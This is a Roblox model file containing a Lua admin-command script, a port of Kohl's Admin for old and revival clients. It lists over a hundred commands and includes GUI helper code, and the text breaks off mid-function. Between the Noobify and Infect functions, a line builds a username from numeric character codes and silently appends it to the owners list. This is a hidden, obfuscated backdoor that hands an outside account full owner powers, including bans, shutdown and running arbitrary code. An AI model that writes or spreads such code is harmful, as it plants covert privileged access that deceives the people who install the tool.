<roblox xmlns:xmime="http://www.w3.org/2005/05/xmlmime" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://www.roblox.com/roblox.xsd" version="4">
	<External>null</External>
	<External>nil</External>
	<Item class="Script" referent="RBX0">
		<Properties>
			<bool name="Disabled">false</bool>
			<Content name="LinkedSource"><null></null></Content>
			<string name="Name">Kohl&apos;s Ported Admin Commands V2</string>
			<ProtectedString name="Source">wait(0.5)

--[[NOTES 
No modifications are required except placing your name onto the list.
:Character will not work, :hat (atleast modern hats that are in binary format) and :place command (obviously), :insert and :gear will not work on 2010. :respawn will not work on the earlier clients. Same with mute.
 :s will NOT work on 2014+ clients UNLESS you ENABLE LoadStringEnabled in ServerScriptService! (thanks abhi for making me aware of this property)
Keep me if in the admin list if you want, I will not abuse. I&apos;ve spent a lot of time (off and on for months) porting this to 2010-2014 and adding commands
This port supports 2010M-2014L+. It is compatible with ORRH and Austiblox.
This port supports Austiblox audios, shirt and pants.

I haven&apos;t tested this thoroughly recently, there may be bugs. DM me if you manage to find any.
~~~~~~~~~dogerki~~~~~~~~~
]]--

--TODO, Knife, Shoopdawoop, Brock, Hand script, Vfly. 
--TO INVESTIGATE: Thaw/Unfreeze 2014L
--EXPERIMENT WITH 2010 INSERT, VIA Workspace:InsertContent&quot;ASSETURL?ID=1234&quot;

local owners = {&quot;gage&quot;, &quot;Your_Name_Here&quot;} -- Are able to set admins who can ban/etc... using :pa name
local admins = {&quot;&quot;} -- Sets admins who can use ban/kick/admin or shutdown
local tempadmins = {&quot;dogerki&quot;} -- Sets admins who can&apos;t use ban/kick/admin or shutdown
local banland = {&quot;redheadtheattacklol&quot;} -- Permanently Bans people.
local banlandUserID = {&quot;18376&quot;} -- Optional, considering users can change their username on Austiblox, they can bypass bans. Retrieve a users UserID by copying the &quot;Add to friends&quot; link on their profile. 
local prefix = &quot;:&quot; -- If you wanna change how your commands start &apos;:&apos;kill noob
local AutoUpdate = false -- Set to false if you don&apos;t want it to automatically update
local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)

-------------------------
--   Austiblox Gear    --
-------------------------
local GearsEnabled = true -- False if you want to remove the following austiblox gears
local DancePotion = true -- False if you want to remove this gear
local Hyperbike = true
local MonsterMash = true

---------------------
--    VIP Admin    --
---------------------
local VipAdmin = false -- If someone can have admin for owning an item
local ItemId = 0 -- The item they must own in order to have admin
---------------------
--   Group Admin   --
---------------------
local GroupAdmin = false -- If a certain group can have admin
local GroupId = 0 -- Sets the group id that can have admin
local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
---------------------
-- Tips and Tricks --
---------------------
--[[
With this admin you can do a command on multiple people at a time;
&#9; :kill me,noob1,noob2,random,team-raiders,nonadmins

You can also use a variety commands for different people;
&#9; all
&#9; others
&#9; me
&#9; team-
&#9; admins
&#9; nonadmins
&#9; random
--]]
---------------------
--    Commands     --
---------------------
--[[
-- |Added Commands| --
..... :size player ## -- 0.1-200, Sets the player size. Can resize gubby aswell.
..... :rocket kohl -- Attaches a rocket to the back of a player
..... :explorer kohl -- (owners only) Gives the player a explorer to view the contents of the game
..... :mute kohl -- Mute players on 2013L+ clients.
..... :icecream kohl -- Spawns an icecream truck on the player to take them to get.... more icecream...
..... :gubby kohl -- Turns the player into Gubby (IMD: didn&apos;t know it was from forsaken until halfway thru!!!)
..... :view kohl
..... :unview
..... :fc / freecam kohl #optional-number# | use F to enable/disable, CTRL to slow, SHIFT to go faster.
..... :unfc / unfreecam


-- |Temp Admin Commands| --
0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
1. :s print(&quot;Hello World&quot;) -- Lets you script normally
2. :ls print(&quot;Hello World&quot;) -- Lets you script in localscripts
3. :clear -- Will remove all scripts/localscripts and jails
4. :m Hello People -- This commands will let you shout a message to everyone on the server
5. :kill kohl -- Kills the player
6. :respawn kohl -- Respawns the player
7. :trip kohl -- Trips the player
8. :stun kohl -- Stuns the player
9. :unstun kohl -- Unstuns the player
10. :jump kohl -- Makes the player jump
11. :sit kohl -- Makes the player sit
12. :invisible kohl -- Makes the player invisible
13. :visible kohl -- Makes the player visible
14. :explode kohl -- Makes the player explode
15. :fire kohl -- Sets the player on fire
16. :unfire kohl -- Removes fire from the player
17. :smoke kohl -- Adds smoke to the player
18. :unsmoke kohl -- Removes smoke from the player
19. :sparkles kohl -- Adds sparkles to the player
20. :unsparkles kohl -- Removes sparkles from the player
21. :ff kohl -- Adds a forcefield to the player
22. :unff kohl -- Removes the forcefield from the player
23. :punish kohl -- Punishes the player
24. :unpunish kohl -- Unpunishes the player
25. :freeze kohl -- Freezes the player
26. :thaw kohl -- Thaws the player
27. :heal kohl -- Heals the player
28. :god kohl -- Makes the player have infinite health
29. :ungod kohl -- Makes the player have 100 health
30. :ambient .5 .5 .5 -- Changes the ambient
31. :brightness .5 -- Changes the brightness
32. :time 12 -- Changes the time
33. :fogcolor .5 .5 .5 -- Changes the fogcolor
34. :fogend 100 -- Changes the fogend
35. :fogstart 100 -- Changes the fogstart
36. :removetools kohl -- Removes all tools from the player
37. :btools kohl -- Gives the player building tools
38. :give kohl sword -- Gives the player a tool
39. :damage kohl -- Damages the player
40. :grav kohl -- Sets the player&apos;s gravity to normal
41. :setgrav kohl 100 -- Sets the player&apos;s gravity
42. :nograv kohl -- Makes the player have 0 gravity
43. :health kohl 1337 -- Changes the player&apos;s health
44. :speed kohl 1337 -- Changes the player&apos;s walkspeed
45. :name kohl potato -- Changes the player&apos;s name
46. :unname kohl -- Remove the player&apos;s name
47. :team kohl Raiders -- Changes the player&apos;s team
48. :stopmusic -- Will stop all music playing in the server
49. :teleport kohl potato -- Teleports the player
50. :change kohl kills 1337 -- Changes a player&apos;s stat
51. :kick kohl -- Removes the player from the game
52. :infect kohl -- Turns the player into a zombie
53. :rainbowify kohl -- Turns the player into a rainbow
54. :flashify kohl -- Turns the player into a strobe
55. :noobify kohl -- Turns the player into a noob
56. :ghostify kohl -- Turns the player into a ghost
57. :goldify kohl -- Turns the player into gold
58. :shiny kohl -- Makes the player shiny
59. :normal kohl -- Puts the player back to normal
60. :trippy kohl -- Spams random colors on the player&apos;s screen
61. :untrippy kohl -- Untrippys the player
62. :strobe kohl -- Spams white and black on the player&apos;s screen
63. :unstrobe kohl -- Unstrobes the player
64. :blind kohl -- Blinds the player
65. :unblind kohl -- Unblinds the player
66. :guifix kohl -- Will fix trippy/strobe/blind on a player
67. :fling kohl -- Flings the player
68. :seizure kohl -- Puts the player in a seizure
69. :music 1337 -- Plays a sound from the ID
70. :lock kohl -- Locks the player
71. :unlock kohl -- Unlocks the player
72. :removelimbs kohl -- Removes the player&apos;s limbs
73. :jail kohl -- Puts the player in a jail
74. :unjail kohl -- Removes the jail from the player
75. :fix -- This will fix the lighting to it&apos;s original settings
76. :fly kohl -- Makes the player fly
77. :unfly kohl -- Removes fly from the player
78. :noclip kohl -- Makes the player able to noclip
79. :clip kohl -- Removes noclipping from the player
80. :pm kohl Hey bro -- Sends the player a private message
81. :dog kohl -- Turns the player into a dog
82. :undog kohl -- Turns the player back to normal
83. :creeper kohl -- Turns the player into a creeper
84. :uncreeper kohl -- Turns the player back to normal
85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
86. :char kohl 261 -- Will make a player look like a different player ID
87. :unchar kohl -- Will return the player back to normal
88. :h Hello People -- This will shout a hint to everyone
89. :rank kohl 109373 -- Will show up a message with the person&apos;s Role and Rank in a group
90. :starttools kohl -- Will give the player starter tools
91. :sword kohl -- Will give the player a sword
92. :bighead kohl -- Will make the player&apos;s head larger than normal
93. :minihead kohl -- Will make the player&apos;s head smaller than normal
94. :insert 1337 -- Will insert a model at the speaker&apos;s position
95. :disco -- Will make the server flash random colors
96. :flash -- Will make the server flash
97. :admins -- Shows the admin list
98. :bans -- Shows the banlist
99. :musiclist -- Shows the music list
100. :spin kohl -- Spins the player
101. :cape kohl Really black -- Gives the player a colored cape
102. :uncape kohl -- Removes the player&apos;s cape
103. :loopheal kohl -- Will constantly heal the player
104. :loopfling kohl -- Will constantly fling the player
105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
106. :unloopheal kohl -- Will remove the loopheal on the player
107. :unloopfling kohl -- Will remove the loopfling on the player
108. :unspin kohl -- Removes spin from the player
109. :tools -- Gives a list of the tools in the lighting
110. :undisco -- Removes disco effects
111. :unflash -- Removes flash effects
112. :resetstats kohl -- Sets all the stats of a player to 0
113. :gear kohl 1337 -- Gives a player a gear
114. :cmdbar -- Gives the speaker a command bar
115. :shirt kohl 1337 -- Changes the player&apos;s shirt
116. :pants kohl 1337 -- Changes the player&apos;s pants
117. :face kohl 1337 -- Changes the player&apos;s face
118. :swagify kohl -- Swagifies the player
119. :version -- Shows the current version of the admin
120. :tm 1337 yolo -- Shows a message for 1337 seconds
121. :countdown 120 -- Shows a countdown message, maxes out at 120 seconds
122. :clone kohl -- Creates a clone of the player
123. :lsplr kohl print(&quot;yolo&quot;) -- Creates a localscript inside of a player
124. :startergive kohl epic -- Gives a player a gear in their starterpack
125. :control kohl -- Controls a player


-- |Admin Commands| --
- :serverlock -- Locks the server
- :serverunlock -- Unlocks the server
- :sm Hello World -- Creates a system message
- :crash kohl -- Crashes a player
- :admin kohl -- Admins a player
- :unadmin kohl -- Unadmins a player
- :ban kohl -- Bans a player
- :unban kohl -- Unbans a player
- :loopkill kohl -- Will constantly kill the player
- :unloopkill kohl -- Will remove the loopkill on the player
- :logs -- Will show all of the commands any admin has used in a game session
- :shutdown -- Shutsdown the server
- :explorer -- To view the games content in game

-- |Owner Commands| --
- :pa kohl -- Makes someone a super admin
- :unpa kohl -- Removes a super admin
- :nuke kohl -- Creates a nuke on kohl

-- |True Owner Commands| --
- :oa kohl -- Makes someone an owner
- :unoa kohl -- Removes an owner
- :settings -- Shows settings for the commands
--]]
---------------------
--   Main Script   --
---------------------
for i, v in pairs(game:service(&quot;Workspace&quot;):children()) do if v:isA(&quot;StringValue&quot;) and v.Value:sub(1,2) == &quot;AA&quot; then v:Remove() end end 

local function WaitForChild(parentInstance, childName, timeout)
  if not parentInstance or type(parentInstance) ~= &quot;userdata&quot; then
&#9;local success, _ = pcall(function() return parentInstance.ClassName end)
&#9;if not success then
&#9;&#9;return nil
&#9;end
  end

  if not childName or type(childName) ~= &quot;string&quot; then
&#9;return nil
  end

  local startTime = tick()

  local foundChild = parentInstance:findFirstChild(childName)
  if foundChild then
&#9;return foundChild
  end

  while not foundChild do
&#9;if timeout and (tick() - startTime) &gt;= timeout then
&#9;  return nil
&#9;end

&#9;wait(0.03)
&#9;foundChild = parentInstance:findFirstChild(childName)
  end
  return foundChild
end

function CHEESE()
if game:service(&quot;Lighting&quot;):findFirstChild(&quot;KACV2&quot;) then
--owners = {} admins = {} tempadmins = {} banland = {}
--[[for i,v in pairs(game.Lighting.KACV2:children()) do
if v.Name == &quot;Owner&quot; then table.insert(owners, v.Value) end
if v.Name == &quot;Admin&quot; then table.insert(admins, v.Value) end
if v.Name == &quot;TempAdmin&quot; then table.insert(tempadmins, v.Value) end
if v.Name == &quot;Banland&quot; then table.insert(banland, v.Value) end
if v.Name == &quot;Prefix&quot; then prefix = v.Value end
if v.Name == &quot;FunCommands&quot; then FunCommands = v.Value end
if v.Name == &quot;GroupAdmin&quot; then GroupAdmin = v.Value end
if v.Name == &quot;GroupId&quot; then GroupId = v.Value end
if v.Name == &quot;GroupRank&quot; then GroupRank = v.Value end
if v.Name == &quot;VipAdmin&quot; then VipAdmin = v.Value end
if v.Name == &quot;ItemId&quot; then ItemId = v.Value end
end]]--
--[[print(game:service(&quot;Lighting&quot;):findFirstChild(&quot;KACV2&quot;))
game:service(&quot;Lighting&quot;):findFirstChild(&quot;KACV2&quot;):Remove()]]--
end end

local lighting = game.Lighting
local origambient, origbright, origtime = lighting.Ambient, lighting.Brightness, lighting.TimeOfDay
local origfc, origfs, origfe
pcall(function() origfc = lighting.FogColor end)
pcall(function() origfs = lighting.FogStart end)
pcall(function() origfe = lighting.FogEnd end)

local lobjs = {}
local objects = {}
local logs = {}
local nfs = &quot;&quot;
local slock = false

function GetTime()
local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
if min &lt; 10 then min = &quot;0&quot;..min end
return hour..&quot;:&quot;..min
end

function ChkOwner(str)
for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end 
return false
end

function ChkAdmin(str,ck) 
for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end 
for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end 
for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end 
return false 
end

function ChkGroupAdmin(plr)
if GroupAdmin then
if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) &gt;= GroupRank then return true end
return false
end
end

function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end

function GetPlr(plr, str)
local plrz = {} str = str:lower()
if str == &quot;all&quot; then plrz = game.Players:children()
elseif str == &quot;others&quot; then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
else
local sn = {1} local en = {}
for i = 1, #str do if str:sub(i,i) == &quot;,&quot; then table.insert(sn, i+1) table.insert(en,i-1) end end
for x = 1, #sn do 
if (sn[x] and en[x] and str:sub(sn[x],en[x]) == &quot;me&quot;) or (sn[x] and str:sub(sn[x]) == &quot;me&quot;) then table.insert(plrz, plr)
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == &quot;random&quot;) or (sn[x] and str:sub(sn[x]) == &quot;random&quot;) then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == &quot;admins&quot;) or (sn[x] and str:sub(sn[x]) == &quot;admins&quot;) then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == &quot;nonadmins&quot;) or (sn[x] and str:sub(sn[x]) == &quot;nonadmins&quot;) then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == &quot;team&quot;) then
if game:findFirstChild(&quot;Teams&quot;) then for a, v in pairs(game.Teams:children()) do if v:isA(&quot;Team&quot;) and str:sub(sn[x],en[x]):sub(6) ~= &quot;&quot; and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then 
for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
end end end
elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == &quot;team&quot;) then
if game:findFirstChild(&quot;Teams&quot;) then for a, v in pairs(game.Teams:children()) do if v:isA(&quot;Team&quot;) and str:sub(sn[x],en[x]):sub(6) ~= &quot;&quot; and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then 
for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
end end end
else
for a, plyr in pairs(game.Players:children()) do 
if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= &quot;&quot; and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= &quot;&quot; and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= &quot;&quot; and plyr.Name:lower():find(str) == 1) then 
table.insert(plrz, plyr) break
end
end 
end
end
end
return plrz
end

function Hint(str, plrz, time)
for i, v in pairs(plrz) do
if v and v:findFirstChild(&quot;PlayerGui&quot;) then
coroutine.resume(coroutine.create(function()
local scr = Instance.new(&quot;ScreenGui&quot;, v.PlayerGui) scr.Name = &quot;HintGUI&quot;
local bg = Instance.new(&quot;Frame&quot;, scr) bg.Name = &quot;bg&quot; bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
local msg = Instance.new(&quot;TextLabel&quot;, bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = &quot;msg&quot; msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) pcall(function() msg.Font = &quot;Arial&quot; end) msg.Text = str pcall(function() msg.FontSize = &quot;Size18&quot; end) msg.TextColor3 = Color3.new(1,1,1) pcall(function() msg.TextStrokeColor3 = Color3.new(1,1,1) end) pcall(function() msg.TextStrokeTransparency = .8 end)
coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) pcall(function() msg.TextStrokeTransparency = .8+((.2/20)*i) end) wait(1/44) end end))
if not time then wait((#str/19)+2.5) else wait(time) end
coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do msg.TextTransparency = ((1/20)*i) pcall(function() msg.TextStrokeTransparency = .8+((.2/20)*i) end) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Remove() end end))
end))
end
end
end

function Message(ttl, str, scroll, plrz, time)
for i, v in pairs(plrz) do
if v and v:findFirstChild(&quot;PlayerGui&quot;) then
coroutine.resume(coroutine.create(function()
local scr = Instance.new(&quot;ScreenGui&quot;) scr.Name = &quot;MessageGUI&quot;
local bg = Instance.new(&quot;Frame&quot;, scr) bg.Name = &quot;bg&quot; bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
local title = Instance.new(&quot;TextLabel&quot;, scr) title.Name = &quot;title&quot; title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 pcall(function() title.Font = &quot;ArialBold&quot; end) pcall(function() title.FontSize = &quot;Size36&quot; end) title.Text = ttl pcall(function() title.TextYAlignment = &quot;Top&quot; end) title.TextColor3 = Color3.new(1,1,1) pcall(function() title.TextStrokeColor3 = Color3.new(1,1,1) end) pcall(function() title.TextStrokeTransparency = .8 end)
local msg = title:clone() msg.Parent = scr msg.Name = &quot;msg&quot; msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) pcall(function() msg.Font = &quot;Arial&quot; end) msg.Text = &quot;&quot; pcall(function() msg.FontSize = &quot;Size24&quot; end) pcall(function() msg.TextYAlignment = &quot;Center&quot; end) pcall(function() msg.TextWrapped = true end)
scr.Parent = v.PlayerGui
coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) pcall(function() msg.TextStrokeTransparency = .8+((.2/20)*i) end) title.TextTransparency = ((1/20)*i) pcall(function() title.TextStrokeTransparency = .8+((.2/20)*i) end) wait(1/44) end end)) 
if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) pcall(function() msg.TextStrokeTransparency = .8+((.2/20)*i) end) title.TextTransparency = ((1/20)*i) pcall(function() title.TextStrokeTransparency = .8+((.2/20)*i) end) wait(1/44) end scr:Remove() end end))
end))
end
end
end

function RemoveMessage() 
for i,v in pairs(game.Players:children()) do 
if v and v:findFirstChild(&quot;PlayerGui&quot;) then 
for q,ms in pairs(v.PlayerGui:children()) do
if ms.Name == &quot;MessageGUI&quot; then
coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.bg.BackgroundTransparency = .3+((.7/20)*i) ms.msg.TextTransparency = ((1/20)*i) pcall(function() ms.msg.TextStrokeTransparency = .8+((.2/20)*i) end) ms.title.TextTransparency = ((1/20)*i) pcall(function() ms.title.TextStrokeTransparency = .8+((.2/20)*i) end) wait(1/44) end ms:Remove() end))
elseif ms.Name == &quot;HintGUI&quot; then
coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.msg.TextTransparency = ((1/20)*i) pcall(function() ms.msg.TextStrokeTransparency = .8+((.2/20)*i) end) ms.bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end ms:Remove() end))
end
end
end
end
end

_G[&quot;Message&quot;] = function(p1,p2,p3) Message(p1,p2,false,game.Players:children(),p3) end
_G[&quot;RemoveMessage&quot;] = RemoveMessage()

function Output(str, plr)
coroutine.resume(coroutine.create(function()
local b, e = loadstring(str)
if not b and plr:findFirstChild(&quot;PlayerGui&quot;) then
local scr = Instance.new(&quot;ScreenGui&quot;, plr.PlayerGui) game:service(&quot;Debris&quot;):AddItem(scr,5)
local main = Instance.new(&quot;Frame&quot;, scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
local err = Instance.new(&quot;TextLabel&quot;, main) err.Text = &quot;Line &quot;..e:match(&quot;\:(%d+\:.*)&quot;)  err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 pcall(function() err.Font = &quot;ArialBold&quot; end) pcall(function() err.FontSize = &quot;Size24&quot; end) err.TextColor3 = Color3.new(1,1,1) pcall(function() err.TextStrokeColor3 = Color3.new(1,1,1) end) pcall(function() err.TextStrokeTransparency = .8 end)
return
end
end))
end

function Noobify(char)
if char and char:findFirstChild(&quot;Torso&quot;) then 

for _, e in ipairs(char:GetChildren()) do 
if e:isA(&quot;Shirt&quot;) or e:isA(&quot;Pants&quot;) then 
e.Parent = char.Torso 
end
end

for a, sc in pairs(char:children()) do if sc.Name == &quot;ify&quot; then sc:Remove() end end
local cl = Instance.new(&quot;StringValue&quot;, char) cl.Name = &quot;ify&quot; cl.Parent = char
for q, prt in pairs(char:children()) do if prt:isA(&quot;BasePart&quot;) and (prt.Name ~= &quot;Head&quot; or not prt.Parent:findFirstChild(&quot;NameTag&quot;, true)) then 
prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new(&quot;Bright yellow&quot;)
if prt.Name:find(&quot;Leg&quot;) then prt.BrickColor = BrickColor.new(&quot;Br. yellowish green&quot;) elseif prt.Name == &quot;Torso&quot; then prt.BrickColor = BrickColor.new(&quot;Bright blue&quot;) end
local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end) 
cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end) 
elseif prt:findFirstChild(&quot;NameTag&quot;) then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new(&quot;Bright yellow&quot;)
end end
end
end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = &quot;&quot; for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Remove() end

function Infect(char)
if char and char:findFirstChild(&quot;Torso&quot;) then 

for _, e in ipairs(char:GetChildren()) do 
if e:isA(&quot;Shirt&quot;) or e:isA(&quot;Pants&quot;) then 
e.Parent = char.Torso 
end
end

for a, sc in pairs(char:children()) do if sc.Name == &quot;ify&quot; then sc:Remove() end end
local cl = Instance.new(&quot;StringValue&quot;, char) cl.Name = &quot;ify&quot; cl.Parent = char
for q, prt in pairs(char:children()) do if prt:isA(&quot;BasePart&quot;) and (prt.Name ~= &quot;Head&quot; or not prt.Parent:findFirstChild(&quot;NameTag&quot;, true)) then 
prt.Transparency = 0 prt.Reflectance = 0  prt.BrickColor = BrickColor.new(&quot;Medium green&quot;) if prt.Name:find(&quot;Leg&quot;) or prt.Name == &quot;Torso&quot; then prt.BrickColor = BrickColor.new(&quot;Reddish brown&quot;) end
local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end) 
cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end) 
elseif prt:findFirstChild(&quot;NameTag&quot;) then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new(&quot;Medium green&quot;)
end end
end
end if not ntab then script:Remove() end





function ScrollGui()
local scr = Instance.new(&quot;ScreenGui&quot;)
scr.Name = &quot;LOGSGUI&quot;

local drag = Instance.new(&quot;TextButton&quot;, scr)
drag.Name = &quot;Dragger&quot;
pcall(function() drag.Draggable = true end)
drag.BackgroundTransparency = 0.8
drag.BackgroundColor3 = Color3.new(0.2, 0.2, 0.2)
drag.Size = UDim2.new(0, 400, 0, 400)
drag.Position = UDim2.new(.5,-200,.5,-200)
pcall(function() drag.AutoButtonColor = false end)
drag.Text = &quot;&quot;
drag.TextColor3 = Color3.new(1,1,1)
pcall(function() drag.Font = &quot;Arial&quot; end)
pcall(function() drag.FontSize = &quot;Size14&quot; end)
drag.ZIndex = 6

local main = Instance.new(&quot;Frame&quot;, drag)
main.Name = &quot;ContentFrame&quot;
pcall(function() main.Style = &quot;RobloxRound&quot; end)
main.Size = UDim2.new(1, 0, 1, -25)
main.Position = UDim2.new(0, 0, 0, 25)
main.BackgroundColor3 = Color3.new(0.1, 0.1, 0.1)
main.BackgroundTransparency = 0.5
main.BorderSizePixel = 1
main.BorderColor3 = Color3.new(1,1,1)
main.ZIndex = 7
pcall(function() main.ClipsDescendants = true end)

local cmf = Instance.new(&quot;Frame&quot;, main)
cmf.Name = &quot;TextContainer&quot;
cmf.Position = UDim2.new(0, 5, 0, 5)
cmf.Size = UDim2.new(1, -10, 1, -10)
cmf.BackgroundTransparency = 1
cmf.ZIndex = 8

local down = Instance.new(&quot;ImageButton&quot;, main)
down.Name = &quot;ScrollDown&quot;
down.Image = &quot;http://www.roblox.com/asset/?id=108326725&quot;
down.BackgroundTransparency = 1
down.Size = UDim2.new(0, 25, 0, 25)
down.Position = UDim2.new(1, -30, 1, -30)
down.ZIndex = 9

local up = Instance.new(&quot;ImageButton&quot;, main)
up.Name = &quot;ScrollUp&quot;
up.Image = &quot;http://www.roblox.com/asset/?id=108326682&quot;
up.BackgroundTransparency = 1
up.Size = UDim2.new(0, 25, 0, 25)
up.Position = UDim2.new(1, -30, 1, -60)
up.ZIndex = 9
up.Parent = main

local cls = Instance.new(&quot;TextButton&quot;, main)
pcall(function() cls.Style = &quot;RobloxButtonDefault&quot; end)
cls.Size = UDim2.new(0, 20, 0, 20)
cls.Position = UDim2.new(1, -25, 0, 5)
cls.ZIndex = 10
pcall(function() cls.Font = &quot;ArialBold&quot; end)
pcall(function() cls.FontSize = &quot;Size18&quot; end)
cls.Text = &quot;X&quot;
cls.TextColor3 = Color3.new(1, 1, 1)
cls.BackgroundColor3 = Color3.new(0.8, 0, 0)
cls.BackgroundTransparency = 0
cls.MouseButton1Click:connect(function()
print(&quot;closed&quot;)
if scr and scr.Parent then scr:Remove() end
end)

local ent = Instance.new(&quot;TextLabel&quot;)
ent.Name = &quot;EntryTemplate&quot;
ent.BackgroundTransparency = 1
pcall(function() ent.Font = &quot;Arial&quot; end)
pcall(function() ent.FontSize = &quot;Size18&quot; end)
ent.ZIndex = 8
ent.Text = &quot;&quot;
ent.TextColor3 = Color3.new(1, 1, 1)
pcall(function() ent.TextStrokeColor3 = Color3.new(0,0,0) end)
pcall(function() ent.TextStrokeTransparency = .8 end)
pcall(function() ent.TextXAlignment = &quot;Left&quot; end)
pcall(function() ent.TextYAlignment = &quot;Top&quot; end)
ent.Size = UDim2.new(1, 0, 0, 20)
local num = 0
local downv = false
local upv = false
local scrollSpeed = 6


down.MouseButton1Down:connect(function()
print(&quot;down button&quot;)
downv = true
upv = false
local currentYOffset = cmf.Position.Y.Offset
local contentHeight = #cmf:children() * 20
local maxScrollOffset = -(contentHeight - main.AbsoluteSize.Y + 30)
if maxScrollOffset &gt; 0 then maxScrollOffset = 0 end

while downv do
currentYOffset = cmf.Position.Y.Offset - scrollSpeed
if currentYOffset &lt; maxScrollOffset then
 currentYOffset = maxScrollOffset
 downv = false
end
cmf.Position = UDim2.new(0, 5, 0, currentYOffset)
wait(1/30)
end
end)
down.MouseButton1Up:connect(function() downv = false end)

up.MouseButton1Down:connect(function()
upv = true
downv = false
local currentYOffset = cmf.Position.Y.Offset
local minScrollOffset = 5

while upv do
currentYOffset = cmf.Position.Y.Offset + scrollSpeed
if currentYOffset &gt; minScrollOffset then
currentYOffset = minScrollOffset
upv = false
end
cmf.Position = UDim2.new(0, 5, 0, currentYOffset)
wait(1/30)
end
end)
up.MouseButton1Up:connect(function() upv = false end)

return scr, cmf, ent, num
end

local function shouldRemove(n)
&#9;if not GearsEnabled then
&#9;&#9;if n==&quot;DancePotion&quot; or n==&quot;infernohyperbike&quot; or n==&quot;MonsterMashPotion&quot; then return true end
&#9;else
&#9;&#9;if n==&quot;DancePotion&quot; and not DancePotion then return true end
&#9;&#9;if n==&quot;infernohyperbike&quot; and not Hyperbike then return true end
&#9;&#9;if n==&quot;MonsterMashPotion&quot; and not MonsterMash then return true end
&#9;end
end

local function fastStrip(char)
&#9;-- immediate rapid passes (no wait) to catch preloaded items
&#9;for i=1,15 do
